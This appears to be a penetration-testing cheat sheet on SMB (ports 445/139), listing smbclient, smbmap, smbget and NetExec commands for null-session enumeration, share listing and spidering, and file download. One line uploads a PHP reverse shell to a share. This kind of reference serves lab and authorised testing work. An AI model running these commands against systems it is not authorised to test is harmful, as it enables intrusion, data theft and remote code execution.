Page cover
githubEdit

databaseSMB

Server Message Block - Ports 445/139

circle-info

If you see microsoft-ds on a port scan it means is SMB

chevron-rightsmbclienthashtag
List Resource list
smbclient -L <IP>
Version Detection
smbclient -L //<target> -N
List Null session
smbclient -N <IP>
List User Share
smbclient //IP/<SHARE> -U <USER>
Connect to share
smbclient -N \\\\IP\Share
Without Credentials
smbclient --no-pass //IP/<Share>
Resources list + Null session
smbclient -L \\10.10.10.123 -N
Upload PHP reverse shell
smbclient -N //10.10.10.123/Development -c 'put cmd.php tokyo.php
circle-info

Download a File

Type this sequence
recurse
prompt
mget *
chevron-rightsmbmaphashtag
Connect to host
smbmap -H <IP>
Connect with credentials
smbmap -H <IP> -d <dns> -u '<user>' -p '<pass>'
List Share
smbmap -H <IP> -r <SHARE>
chevron-rightSAMBAhashtag
Download file
smbget -U <User> smb://IP/<SHARE_LOCATION> / --download
chevron-rightNetExechashtag

Wikiarrow-up-right

Basic
nxc smb 10.129.230.148
Scan Users Using NULL session
nxc smb 10.129.230.148 -u '' -p '' --users
Scan Shares Using Guest User
nxc smb 10.129.230.148 -u guest -p '' --shares
Spider shares using existing credentials
nxc smb IP -u "user" -p 'password' --spider Share$ --pattern .
Download a file from a share
nxc smb IP -u "user" -p 'password' --share Share$ --get-file file.example myfilenow.example
chevron-rightNTLM Relay Attackshashtag
triangle-exclamation
chevron-rightSMBv1 Vulnerabilities hashtag
circle-info

Major vulnerabilities

Last updated